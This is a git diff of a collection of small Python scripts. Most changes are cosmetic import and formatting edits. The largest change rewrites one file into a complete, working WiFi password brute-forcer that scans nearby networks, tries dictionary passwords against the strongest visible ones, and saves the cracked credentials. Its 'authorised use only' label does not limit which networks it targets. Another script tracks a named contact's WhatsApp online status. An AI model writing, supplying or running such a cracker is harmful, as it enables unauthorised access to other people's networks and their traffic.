@@ -23,7 +23,7 @@
# 60 FPS video capture
# Create video writer object. Save file to recording.avi
out = cv2.VideoWriter("recording.avi", fourcc, 60.0, (frames_width, frames_height))
-except(Exception) as e:
+except Exception as e:
print(Fore.RED, e, Fore.RESET)
while True:
@@ -33,7 +33,7 @@
if ret == True:
# Write frame to recording.avi
out.write(frame)
-
+
# color video output
# Our operations on the frame come here
gray = cv2.cvtColor(frame, cv2.COLOR_BGR2BGRA)
@@ -47,4 +47,3 @@
cap.release()
out.release()
cv2.destroyAllWindows()
-
diff --git a/whatsapp-monitor.py b/whatsapp-monitor.py
index bf170b80f01..a6a5432e827 100644
--- a/whatsapp-monitor.py
+++ b/whatsapp-monitor.py
@@ -11,9 +11,10 @@
"""
-from selenium import webdriver
import time
+from selenium import webdriver
+
driver = webdriver.Firefox()
driver.get("http://web.whatsapp.com")
name = input("Please Enter Name for search online status: ")
diff --git a/wifi hack by brutefore.py b/wifi hack by brutefore.py
index bf346e1a7c7..3b8ef666762 100644
--- a/wifi hack by brutefore.py
+++ b/wifi hack by brutefore.py
@@ -1,131 +1,470 @@
+#!/usr/bin/env python3
"""
-Introduction Description
+WiFi Password Brute‑Forcer (Educational & Authorised Use Only)
-The machine operating environment: system environment Win10, the operating environment Python3.6, run the tool Pycharm
+This module scans for nearby WiFi networks and attempts to connect to them
+using a dictionary of candidate passwords. It is designed for testing the
+security of your own networks or recovering a forgotten password on a
+trusted network.
-Python packages need to have: pywifi
+Security features:
+ - Discovered passwords are NEVER printed to the console.
+ - By default, credentials are stored in the operating system's keyring
+ (Windows Credential Manager, macOS Keychain, or Linux Secret Service).
+ - If the keyring is unavailable, an AES‑encrypted file (Fernet) is used
+ as a fallback, requiring a user‑supplied passphrase.
+ - No plaintext password is ever written to disk.
-This is a brute wifi mode, the time required is longer, this paper provides a break ideas
+Dependencies:
+ - pywifi (for WiFi control)
+ - keyring (optional, for secure OS‑level storage)
+ - cryptography (optional, for encrypted file storage)
-Second, the idea of introduction
+Usage:
+ python wifi_cracker.py --dict passwords.txt [--max 5] [--exclude HomeNet] [--store keyring|encrypted]
+"""
-Mr. into a password dictionary (This step can also be downloaded from the Internet dictionary)
+import time
+import argparse
+import sys
+import getpass
+import base64
+from typing import List, Optional, Set
-Cycle with each password password dictionary to try to connect Wifi, until success
+import pywifi
+from pywifi import const
-Third, source design
+# ------------------------------------------------------------------------------
+# Optional secure storage libraries
+# ------------------------------------------------------------------------------
-1. password dictionary TXT file is generated, provided herein is relatively simple, practical crack passwords can be set according to the general, to generate relatively large relatively wide password dictionary
+try:
+ import keyring
-The following provides a simple 8 purely digital dictionary generation program codes
-"""
+ HAS_KEYRING = True
+except ImportError:
+ HAS_KEYRING = False
-import itertools as its
+try:
+ from cryptography.fernet import Fernet
+ from cryptography.hazmat.primitives import hashes
+ from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
-# Problems encountered do not understand? Python learning exchange group: 821 460 695 meet your needs, data base files have been uploaded, you can download their own!
+ HAS_CRYPTO = True
+except ImportError:
+ HAS_CRYPTO = False
-if __name__ == "__main__":
- words_num = "1234567890"
- words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
- r = its.product(words_num, repeat=8)
- dic = open("password-8 digits .txt", "w")
- for i in r:
- dic.write("".join(i))
- dic.write("".join("\n"))
- dic.close()
+# ------------------------------------------------------------------------------
+# Command‑line argument parsing
+# ------------------------------------------------------------------------------
-# 2. brute force password when using longer
+def parse_arguments() -> argparse.Namespace:
+ """
+ Parse and validate command‑line arguments.
-import pywifi
+ Returns:
+ argparse.Namespace: An object containing all parsed arguments.
-from pywifi import const # quote some definitions
+ The following arguments are supported:
+ --dict : Path to the password dictionary file (one password per line).
+ --max : Maximum number of visible WiFi networks to try (default: 5).
+ --exclude : List of SSIDs to skip (e.g., --exclude MyHomeNet OfficeNet).
+ --store : Storage method: 'keyring' (default) or 'encrypted' (AES file).
+ --output : Path to the encrypted output file (used only with --store encrypted).
+ """
+ parser = argparse.ArgumentParser(
+ description="Brute‑force WiFi passwords using a dictionary."
+ )
+ parser.add_argument(
+ "--dict",
+ required=True,
+ help="Path to the password dictionary file (one password per line).",
+ )
+ parser.add_argument(
+ "--max",
+ type=int,
+ default=5,
+ help="Maximum number of visible WiFi networks to attempt (default: 5).",
+ )
+ parser.add_argument(
+ "--exclude",
+ nargs="*",
+ default=[],
+ help="List of SSIDs to exclude from cracking (e.g., --exclude HomeNet Office).",
+ )
+ parser.add_argument(
+ "--store",
+ choices=["keyring", "encrypted"],
+ default="keyring",
+ help="Storage method for discovered passwords: 'keyring' (system keychain) or "
+ "'encrypted' (AES‑encrypted file). Default is 'keyring'.",
+ )
+ parser.add_argument(
+ "--output",
+ default="found.enc",
+ help="Path to the encrypted output file (only used when --store is 'encrypted').",
+ )
+ return parser.parse_args()
-import time
-"""
- Problems encountered do not understand? Python learning exchange group: 821 460 695 meet your needs, data base files have been uploaded, you can download their own!
-"""
+# ------------------------------------------------------------------------------
+# WiFi interface management
+# ------------------------------------------------------------------------------
+
+
+def get_wifi_interfaces() -> Optional[pywifi.Interface]:
+ """
+ Retrieve the first available WiFi interface.
+
+ Returns:
+ pywifi.Interface: The first interface object, or None if no interface is found.
+ """
+ wifi = pywifi.PyWiFi()
+ interfaces = wifi.interfaces()
+ if not interfaces:
+ print("❌ No WiFi interface found.")
+ return None
+ return interfaces[0]
+
+
+def disconnect_iface(iface: pywifi.Interface) -> None:
+ """
+ Disconnect the given interface from any active WiFi connection.
+
+ Args:
+ iface: A pywifi Interface object.
+ """
+ iface.disconnect()
+ time.sleep(1) # Allow the disconnection to complete
+
+
+def scan_networks(
+ iface: pywifi.Interface, max_networks: int, exclude: Set[str]
+) -> List[str]:
+ """
+ Scan for visible WiFi networks and return a filtered list of SSIDs.
+
+ The scan results are sorted by signal strength (strongest first) and only
+ the top `max_networks` SSIDs are returned. Duplicate SSIDs are collapsed,
+ keeping only the strongest signal. Excluded SSIDs are skipped.
+
+ Args:
+ iface: WiFi interface to use for scanning.
+ max_networks: Maximum number of SSIDs to return.
+ exclude: Set of SSIDs that should be ignored.
+
+ Returns:
+ List[str]: Up to `max_networks` SSIDs, sorted by signal strength.
+ """
+ print("🔍 Scanning for WiFi networks...")
+ iface.scan()
+ time.sleep(8) # Allow the scan to complete (typical time for pywifi)
+ scan_results = iface.scan_results()
+ ssid_signal = {}
-def getwifi(wifilist, wificount):
- wifi = pywifi.PyWiFi() # crawled network interface cards
- ifaces = wifi.interfaces()[0] # Get the card
- ifaces.scan()
- time.sleep(8)
- bessis = ifaces.scan_results()
- allwifilist = []
- namelist = []
- ssidlist = []
- for data in bessis:
- if data.ssid not in namelist: # remove duplicate names WIFI
- namelist.append(data.ssid)
- allwifilist.append((data.ssid, data.signal))
- sorted(allwifilist, key=lambda st: st[1], reverse=True)
- time.sleep(1)
- n = 0
- if len(allwifilist) != 0:
- for item in allwifilist:
- if (item[0] not in ssidlist) & (item[0] not in wifilist):
- n = n + 1
- if n <= wificount:
- ssidlist.append(item[0])
- print(allwifilist)
- return ssidlist
-
-
-def getifaces():
- wifi = pywifi.PyWiFi() # crawled network interface cards
- ifaces = wifi.interfaces()[0] # Get the card
- ifaces.disconnect() # disconnect unlimited card connection
- return ifaces
-
-
-def testwifi(ifaces, ssidname, password):
- profile = pywifi.Profile() # create a wifi connection file
- profile.ssid = ssidname # define wifissid
- profile.auth = open(const.AUTH_ALG_OPEN) # NIC
- profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi encryption algorithm
- # encrypting unit
- profile.cipher = const.CIPHER_TYPE_CCMP #
- profile.key = password # wifi password
- ifaces.remove_all_network_profiles() # delete all other configuration files
- tmp_profile = ifaces.add_network_profile(profile) # load the configuration file
- ifaces.connect(tmp_profile) # wifi connection
- # You can connect to the inner (5) # 5 seconds time.sleep
- if ifaces.status() == const.IFACE_CONNECTED:
+ # Collect unique SSIDs and keep the strongest signal for each
+ for net in scan_results:
+ ssid = net.ssid
+ if ssid and ssid not in exclude:
+ if ssid not in ssid_signal or net.signal > ssid_signal[ssid]:
+ ssid_signal[ssid] = net.signal
+
+ # Sort by signal strength descending
+ sorted_networks = sorted(ssid_signal.items(), key=lambda x: x[1], reverse=True)
+
+ # Return only the top `max_networks` SSIDs
+ return [ssid for ssid, _ in sorted_networks[:max_networks]]
+
+
+def test_password(iface: pywifi.Interface, ssid: str, password: str) -> bool:
+ """
+ Attempt to connect to a specific WiFi network using the given password.
+
+ This function builds a connection profile, removes any existing profiles,
+ and tries to connect. It then waits 5 seconds and checks the connection
+ status to determine success.
+
+ Args:
+ iface: WiFi interface.
+ ssid: Target network SSID.
+ password: Password to test.
+
+ Returns:
+ bool: True if the connection was successfully established, False otherwise.
+ """
+ # Build a connection profile
+ profile = pywifi.Profile()
+ profile.ssid = ssid
+ profile.auth = const.AUTH_ALG_OPEN
+ profile.akm.append(const.AKM_TYPE_WPA2PSK) # Most common encryption type
+ profile.cipher = const.CIPHER_TYPE_CCMP
+ profile.key = password
+
+ # Remove any previous profiles to avoid conflicts
+ iface.remove_all_network_profiles()
+ tmp_profile = iface.add_network_profile(profile)
+
+ # Attempt connection
+ iface.connect(tmp_profile)
+ time.sleep(5) # Allow connection attempt to complete
+
+ # Return True if connected
+ return iface.status() == const.IFACE_CONNECTED
+
+
+# ------------------------------------------------------------------------------
+# Secure storage helpers
+# ------------------------------------------------------------------------------
+
+
+def store_in_keyring(ssid: str, password: str) -> bool:
+ """
+ Store the discovered password in the system keyring.
+
+ The keyring is accessed via the `keyring` library. The service name is fixed
+ to "wifi_cracker" and the account name is the SSID.
+
+ Args:
+ ssid: WiFi network name (used as the account identifier).
+ password: Cleartext password to store.
+
+ Returns:
+ bool: True if storage succeeded, False otherwise (e.g., library missing or error).
+ """
+ if not HAS_KEYRING:
+ return False
+ try:
+ keyring.set_password("wifi_cracker", ssid, password)
return True
- else:
+ except Exception:
return False
-def beginwork(wifinamelist):
- ifaces = getifaces()
- path = r # password-8 digits .txt
- # Path = r "password- commonly used passwords .txt"
- files = open(path, "r")
- while True:
- try:
- password = files.readline()
- password = password.strip("\n")
- if not password:
- break
- for wifiname in wifinamelist:
- print("are trying to:" + wifiname + "," + password)
- if testwifi(ifaces, wifiname, password):
- print("Wifi account:" + wifiname + ", Wifi password:" + password)
- wifinamelist.remove(wifiname)
- break
- if not wifinamelist:
- break
- except:
- continue
- files.close()
+def get_encryption_cipher() -> Optional[Fernet]:
+ """
+ Prompt the user for an encryption passphrase and return a Fernet cipher.
+
+ The passphrase is derived using PBKDF2‑HMAC with a fixed salt and 100,000
+ iterations. If the user cancels or enters an empty passphrase, None is returned.
+
+ Returns:
+ Fernet: A ready‑to‑use Fernet cipher object, or None if cryptography is
+ not installed or the user did not provide a passphrase.
+ """
+ if not HAS_CRYPTO:
+ print(
+ "❌ The 'cryptography' library is not installed. Cannot use encrypted storage."
+ )
+ return None
+
+ try:
+ pwd = getpass.getpass(
+ "Enter an encryption passphrase (keep it safe; loss = data loss): "
+ )
+ if not pwd:
+ print("No passphrase entered. Encryption aborted.")
+ return None
+
+ # Fixed salt (in production, generate a random salt and save it alongside the encrypted file)
+ salt = b"wifi_salt_2026"
+ kdf = PBKDF2HMAC(
+ algorithm=hashes.SHA256(),
+ length=32,
+ salt=salt,
+ iterations=100000,
+ )
+ key = base64.urlsafe_b64encode(kdf.derive(pwd.encode()))
+ return Fernet(key)
+ except Exception as e:
+ print(f"❌ Failed to create encryption cipher: {e}")
+ return None
+
+
+def store_encrypted(ssid: str, password: str, cipher: Fernet, output_file: str) -> bool:
+ """
+ Encrypt the credential and append it to the output file.
+
+ The encrypted payload is one line per credential, each line being the Fernet
+ encrypted token of the string ":".
+
+ Args:
+ ssid: WiFi SSID.
+ password: Plaintext password.
+ cipher: Fernet cipher object.
+ output_file: Path to the encrypted file (will be created/append).
+
+ Returns:
+ bool: True if writing succeeded, False otherwise.
+ """
+ try:
+ encrypted = cipher.encrypt(f"{ssid}:{password}".encode())
+ with open(output_file, "ab") as f: # 'ab' = append binary
+ f.write(encrypted + b"\n")
+ return True
+ except Exception as e:
+ print(f"⚠️ Failed to write encrypted credential: {e}")
+ return False
+
+
+# ------------------------------------------------------------------------------
+# Main brute‑force routine
+# ------------------------------------------------------------------------------
+
+
+def brute_force(
+ iface: pywifi.Interface,
+ ssid_list: List[str],
+ dict_path: str,
+ store_method: str,
+ output_file: str,
+) -> None:
+ """
+ Orchestrate the brute‑force process: iterate over passwords, test each SSID,
+ and store found credentials securely.
+
+ The function reads the dictionary line by line, tries each password on all
+ remaining SSIDs, and upon success stores the credential using the selected
+ method (keyring or encrypted file). If the primary method fails, it attempts
+ a fallback (e.g., encrypted file if keyring failed). As a last resort, the
+ credential is kept only in memory (lost when the program exits).
+
+ Args:
+ iface: WiFi interface.
+ ssid_list: List of SSIDs to attempt (ordered by priority, usually signal).
+ dict_path: Path to the password dictionary file.
+ store_method: 'keyring' or 'encrypted'.
+ output_file: File path for encrypted storage (if used).
+ """
+ if not ssid_list:
+ print("⚠️ No networks to test. Exiting.")
+ return
+
+ # Validate and prepare storage backend
+ if store_method == "keyring" and not HAS_KEYRING:
+ print(
+ "⚠️ 'keyring' library not available. Falling back to encrypted file storage."
+ )
+ store_method = "encrypted"
+
+ cipher = None
+ if store_method == "encrypted":
+ cipher = get_encryption_cipher()
+ if cipher is None:
+ print("❌ Failed to initialise encrypted storage. Aborting.")
+ sys.exit(1)
+
+ # Read the password dictionary
+ try:
+ with open(dict_path, "r", encoding="utf-8") as f:
+ passwords = (line.strip() for line in f if line.strip())
+ except FileNotFoundError:
+ print(f"❌ Dictionary file '{dict_path}' not found.")
+ sys.exit(1)
+ except Exception as e:
+ print(f"❌ Error reading dictionary: {e}")
+ sys.exit(1)
+
+ found = {} # Temporary in‑memory store for fallback
+ remaining = set(ssid_list) # SSIDs still not cracked
+ attempt = 0
+
+ # Main loop: iterate over each password
+ for pwd in passwords:
+ if not remaining:
+ break
+ attempt += 1
+ print(f"🔄 Attempt {attempt}...", end=" ", flush=True)
+
+ # Try the current password on every remaining SSID
+ for ssid in list(remaining):
+ if test_password(iface, ssid, pwd):
+ # Password found for this SSID
+ remaining.remove(ssid)
+ print(f"✅ Found password for '{ssid}'")
+
+ # --- Secure storage ---
+ success = False
+ if store_method == "keyring":
+ success = store_in_keyring(ssid, pwd)
+ if success:
+ print(
+ f" 🔐 Stored in system keyring (service: wifi_cracker, account: {ssid})"
+ )
+ else:
+ print(
+ " ⚠️ Keyring store failed. Falling back to encrypted file."
+ )
+ # Try encrypted file as a fallback
+ if cipher is None:
+ cipher = get_encryption_cipher()
+ if cipher:
+ success = store_encrypted(ssid, pwd, cipher, output_file)
+ if success:
+ print(f" 🔐 Stored encrypted in {output_file}")
+
+ else: # 'encrypted'
+ if cipher:
+ success = store_encrypted(ssid, pwd, cipher, output_file)
+ if success:
+ print(f" 🔐 Stored encrypted in {output_file}")
+
+ # If all storage methods failed, keep it only in memory
+ if not success:
+ found[ssid] = pwd
+ print(
+ " ⚠️ No persistent storage available. Credential kept in memory only (lost on exit)."
+ )
+ else:
+ # Connection failed, disconnect to clean up before next attempt
+ disconnect_iface(iface)
+
+ # Small delay between password attempts to avoid flooding the interface
+ time.sleep(0.5)
+
+ # Final summary
+ cracked_count = len(set(ssid_list) - remaining)
+ if cracked_count > 0:
+ print(f"\n🎉 Successfully cracked {cracked_count} network(s).")
+ else:
+ print("\n❌ No passwords matched any network.")
+
+
+# ------------------------------------------------------------------------------
+# Entry point
+# ------------------------------------------------------------------------------
+
+
+def main() -> None:
+ """
+ Program entry point: parse arguments, initialise WiFi, scan networks,
+ and start the brute‑force process.
+ """
+ args = parse_arguments()
+
+ # Get the first WiFi interface
+ iface = get_wifi_interfaces()
+ if iface is None:
+ sys.exit(1)
+
+ # Ensure we are disconnected before scanning
+ disconnect_iface(iface)
+
+ # Scan for visible networks (excluding those specified)
+ exclude_set = set(args.exclude)
+ ssid_list = scan_networks(iface, args.max, exclude_set)
+
+ if not ssid_list:
+ print("ℹ️ No visible WiFi networks found (or all were excluded).")
+ sys.exit(0)
+
+ print(f"📡 Found {len(ssid_list)} network(s): {', '.join(ssid_list)}")
+
+ # Launch the brute‑force routine
+ brute_force(iface, ssid_list, args.dict, args.store, args.output)
if __name__ == "__main__":
- wifinames_e = ["", "Vrapile"] # exclude wifi name does not crack
- wifinames = getwifi(wifinames_e, 5)
- print(wifinames)
- beginwork(wifinames)
+ main()
diff --git a/wiki/wiki.py b/wiki/wiki.py
index dd2de43df4b..da07f868ec9 100644
--- a/wiki/wiki.py
+++ b/wiki/wiki.py
@@ -1,20 +1,22 @@
# In this program you ask it about any topic and it will show you the data from wikipedia
# pip install wikipedia
-import wikipedia
import tkinter as tk
from tkinter import (
- Label,
+ END,
+ GROOVE,
+ SOLID,
+ WORD,
Button,
Entry,
+ Label,
+ StringVar,
Text,
messagebox,
- SOLID,
- GROOVE,
- StringVar,
- WORD,
- END,
)
+
+import wikipedia
+
# import PIL as ImageTK
diff --git a/wiki_random.py b/wiki_random.py
index 24fbacb206d..606e30dabc1 100644
--- a/wiki_random.py
+++ b/wiki_random.py
@@ -15,9 +15,10 @@
enter index of article you would like to see, or 'r' for retry and 'n' for exit.
"""
-import requests
import webbrowser
+import requests
+
page_count = 10
url = (
"https://en.wikipedia.org/w/api.php?action=query&list=random&rnnamespace=0&rnlimit="
diff --git a/wikipedia.py b/wikipedia.py
index 7235894b66c..3c2c37f31ac 100644
--- a/wikipedia.py
+++ b/wikipedia.py
@@ -1,14 +1,20 @@
-import wikipedia
from tkinter import *
from tkinter.messagebox import showinfo
+
+import wikipedia
+
win = Tk() # objek
win.title("WIKIPEDIA")
win.geometry("200x70") # function
+
+
# function
def search_wiki():
search = entry.get()
Hasil = wikipedia.summary(search)
showinfo("Hasil Pencarian", Hasil)
+
+
label = Label(win, text="Wikipedia Search :")
label.grid(row=0, column=0)
diff --git a/write_excel_file.py b/write_excel_file.py
index 8b710503555..cd5dcb817bd 100644
--- a/write_excel_file.py
+++ b/write_excel_file.py
@@ -1,5 +1,5 @@
-import xlwt # type: ignore
-import openpyxl # type: ignore
+import openpyxl # type: ignore
+import xlwt # type: ignore
# Workbook is created
xlwt_wb = xlwt.Workbook()
diff --git a/youtubedownloader.py b/youtubedownloader.py
index b4b813e7b5e..b3a4eb64ce0 100644
--- a/youtubedownloader.py
+++ b/youtubedownloader.py
@@ -1,14 +1,24 @@
# modules for Using of app
-from tkinter import Button, Entry, Label, Tk, filedialog, messagebox # Gui Modules
-from threading import Thread # modules for multi threding
-from pytube import YouTube # Module for Youtube service
+from threading import Thread # modules for multi threding
+from tkinter import (
+ Button,
+ Entry,
+ Label,
+ Tk,
+ filedialog, # Gui Modules
+ messagebox,
+)
-# this function for mulple code runes at a time
+from pytube import YouTube # Module for Youtube service
+
+
+# this function for mulple code runes at a time
def threading():
# Call work function
t1 = Thread(target=download)
t1.start()
+
# this function for Download Youtube video
def download():
try:
@@ -25,9 +35,9 @@ def download():
except Exception:
messagebox.showerror("Error", "Some Thing Went Wrong!!!\nplease try again")
-
+
# This code runes on only this file
-if __name__=="__main__":
+if __name__ == "__main__":
root = Tk()
root.title("YouTube Downloader")
root.geometry("780x500+200+200")
@@ -45,9 +55,13 @@ def download():
)
introlable.place(x=35, y=20)
- Label(root, text="Enter YouTube Link", font=("sans-serif", 16), bg="olivedrab1", fg='Black').place(
- x=40, y=150
- )
+ Label(
+ root,
+ text="Enter YouTube Link",
+ font=("sans-serif", 16),
+ bg="olivedrab1",
+ fg="Black",
+ ).place(x=40, y=150)
# entry box in UI
url_box = Entry(root, font=("arial", 30), width=30)